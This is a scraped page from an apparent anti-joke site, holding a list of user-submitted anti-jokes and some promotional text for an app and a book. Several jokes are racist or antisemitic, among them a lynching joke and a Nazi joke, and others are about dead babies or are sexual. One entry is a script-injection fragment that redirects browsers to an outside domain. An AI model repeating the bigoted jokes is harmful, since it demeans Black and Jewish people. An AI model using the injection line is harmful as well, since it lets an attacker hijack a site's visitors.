how do you wake up lady gaga? set her alarm for a reasonable hour

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Why did the chicken cross the road? Because the slaughterhouse was on the other side.

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Man walks into an apple store. Shortly after he leaves with a fully charged phone.

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What did the blonde waitress say to the man with a curly moustache? Good evening, are you ready to order?; yes [x2]; and what would you like with it?; certanly; there you go; no, I'm sorry; right.

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Why did the jew cross the road Because he was being cornered by 10 nazis that had automatic guns

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Cry me a river. Then build a bridge and become a structural engineer.

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Knock knock. Who's there?

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There were three blondes hanging off a freezing cold helicopter. A burnette, a red head, and a blonde. The redhead's hands were getting cold so she let go so she could blow on them to keep them warm. She fell off the helicopter and down the cliff. A little later, the burnette did the same thing, i mean their hands were cold. But the blode then said " guys, your doing it wrong. You have to do it like this." She blew one hand at a time, " not like this: she showed them how they did it and fell off too.

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Why was the Tyrannosaurus Rex such an aggressive animal? it had short arms so it could not masturbate.

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What is the difference between a dog and pile of dead babies? One of them is alive.

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Q - What is worse than a nerdy joke on anti-jokes with a lot of big words in it? A - Although I get scared when i see big words, the page long jokes are probably worse

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Ask me if I'm a tree..... "are you a tree?" No.

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what is more fun than shower time with adele. a mass gang bang with antonia

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Why was the boy sad? His cookies are gone.

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Teacher- What comes after 69 Boy- Mouthwash?? Teacher- LEAVE!

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Why did the man cross the road He didn't, he died after being hit by a car

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Why did Sally cry at the wedding? somebody shot her future husband.

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your know what grinds my gears? when I throw my car into park while going 90 on the highway.

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A dog, a cat, and a a fish were having a conversation while their owners were away. Ashton Kutcher is a murderer.

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"'>document.location.href="http://cramik.org"

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A plumber walks into a bar and the bartender says "What will it be?" and the plumber says "no drinks thank you, I'm here to fix the toilet."

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What happens when a black man is swinging in a tree? He is enjoying the swing set I helped his father put up.

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What do you call a black man standing on top of a church? "Holy-Shit."

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Q: What did the newborn dumpster baby say to the raccoon? A: Nothing. Newborn babies cannot talk.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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